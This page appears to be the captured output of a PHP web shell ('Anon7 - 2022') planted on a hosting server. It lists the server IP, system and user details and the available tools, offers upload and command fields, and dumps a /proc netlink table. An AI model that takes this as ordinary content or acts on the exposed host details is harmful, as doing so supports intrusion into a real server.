SCDNG PELER
Server IP : 144.76.124.212  /  Your IP : 216.73.216.165
Web Server : LiteSpeed
System : Linux l4cp.vnetindia.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : rakcha ( 1356)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/thread-self/net/netlink
sk               Eth Pid        Groups   Rmem     Wmem     Dump  Locks    Drops    Inode
0000000000000000 0   1136       000405d1 0        0        0     2        0        20201   
0000000000000000 0   986        00020ff8 0        0        0     2        0        761     
0000000000000000 0   0          00000000 0        0        0     2        0        1030    
0000000000000000 4   0          00000000 0        0        0     2        0        2188    
0000000000000000 6   0          00000000 0        0        0     2        0        2189    
0000000000000000 7   0          00000000 0        0        0     2        0        38      
0000000000000000 9   882        00000000 0        0        0     2        0        31843   
0000000000000000 9   0          00000000 0        0        0     2        0        1035    
0000000000000000 9   1          00000000 0        0        0     2        0        19811   
0000000000000000 10  0          00000000 0        0        0     2        0        11656   
0000000000000000 11  0          00000000 0        0        0     2        0        1051    
0000000000000000 12  0          00000000 0        0        0     2        0        29240   
0000000000000000 12  1933748    00000000 0        0        0     2        0        557901009
0000000000000000 15  1935904    00000002 0        0        0     2        0        557914257
0000000000000000 15  968        00000002 0        0        0     2        0        20172   
0000000000000000 15  0          00000000 0        0        0     2        0        1039    
0000000000000000 15  1136       00000002 0        0        0     2        0        20198   
0000000000000000 15  4008822746 00000002 0        0        0     2        0        20175   
0000000000000000 15  2406554956 00000001 0        0        0     2        0        19853   
0000000000000000 15  3273289603 00000002 0        0        0     2        0        16243   
0000000000000000 15  3706109276 00000002 0        0        0     2        0        20173   
0000000000000000 15  1          00000002 0        0        0     2        0        19805   
0000000000000000 15  194919     00000002 0        0        0     2        0        1355641518
0000000000000000 15  3028553267 00000002 0        0        0     2        0        20174   
0000000000000000 16  1136       00000000 0        0        0     2        0        20199   
0000000000000000 16  2835473395 00008000 0        0        0     2        0        20200   
0000000000000000 16  0          00000000 0        0        0     2        0        1059    
0000000000000000 18  0          00000000 0        0        0     2        0        1054    
0000000000000000 20  0          00000000 0        0        0     2        0        44006   

Anon7 - 2022
SCDN GOK